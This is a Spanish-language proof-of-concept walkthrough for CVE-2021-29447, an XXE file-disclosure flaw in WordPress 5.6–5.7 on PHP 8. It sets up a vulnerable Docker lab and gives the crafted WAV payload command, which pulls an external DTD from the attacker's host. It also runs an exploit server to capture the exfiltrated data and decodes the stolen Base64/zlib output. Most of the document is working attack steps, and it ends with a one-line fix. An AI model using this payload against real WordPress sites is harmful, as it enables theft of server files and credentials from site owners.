
Exploit de prueba de concepto para CVE-2021-29447, una vulnerabilidad de inyección XXE en WordPress 5.6–5.7 mediante la carga de un archivo WAV malicioso, que permite la divulgación arbitraria de archivos en PHP 8.0+.
CVE-2021-29447 es una vulnerabilidad de inyección XML External Entity (XXE) que afecta a WordPress versiones 5.6–5.7 (corregida en 5.7.1) cuando se ejecuta PHP 8.0+. La vulnerabilidad reside en la librería getID3 utilizada para el análisis de metadatos multimedia.
WordPress procesa los fragmentos iXML de archivos WAV a través de getID3, que invoca simplexml_load_string() con la bandera LIBXML_NOENT. Esta bandera habilita explícitamente la sustitución de entidades externas, evadiendo las protecciones XXE predeterminadas de PHP 8 (libxml_disable_entity_loader() obsoleto).
Esta PoC demuestra la vulnerabilidad utilizando WordPress 5.7 + PHP 8.0.3 en Docker. Los usuarios de Linux pueden usar un script de un solo archivo que también genera los archivos WAV/DTD.
▶️: https://youtu.be/YnGowuWHFyY
Instalar Docker Desktop en el host Windows
Crear un directorio de proyecto dedicado (todos los comandos de PowerShell se ejecutan aquí):
#powershell
mkdir cve-2021-29447-poc
cd cve-2021-29447-poc
Desplegar WordPress vulnerable:
#powershell
notepad docker-compose.yml
Copiar y pegar el contenido de docker-compose.yml
Iniciar contenedores:
#powershell
docker-compose up -d
Deshabilitar actualizaciones automáticas (crítico para la persistencia de la vulnerabilidad):
#powershell
docker-compose exec wordpress bash
#bash
sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
tail -5 /var/www/html/wp-config-sample.php
exit
Verificar versiones vulnerables:
#powershell
docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
Esperado: WordPress 5.7, PHP 8.0+
Instalación de WordPress:
Navegar: http://localhost:8080
Admin: test / test / [email protected]
Completar configuración → Acceder a /wp-admin
Descubrimiento de IP del atacante:
#powershell
ipconfig | findstr IPv4
Nota tu IP (ej. 192.168.1.196)
Crear payload DTD:
#powershell
notepad evil.dtd
Copiar y pegar el contenido de evil.dtd
Generar payload WAV (CLI Linux):
#bash
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
Transferir mediante python3 -m http.server 8000 → descarga en navegador Windows (ej. http://<VM_IP>:8000)
Nota: WAV creado por separado debido a la complejidad del escape binario en entornos Windows
Desplegar servidor de explotación:
#powershell
notepad exploit.py
Copiar y pegar el contenido de exploit.py
Comando:
#powershell
python exploit.py -l YOUR_IP -p PORT
Desencadenar XXE:
http://localhost:8080/wp-admin → Medios → Añadir nuevo
Subir payload.wav
Monitorear la consola del servidor Python -> capturar datos exfiltrados
Decodificar payload Base64+Zlib:
#powershell
$bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
Actualizar a WordPress 5.7.1+ o deshabilitar LIBXML_NOENT en el análisis de getID3.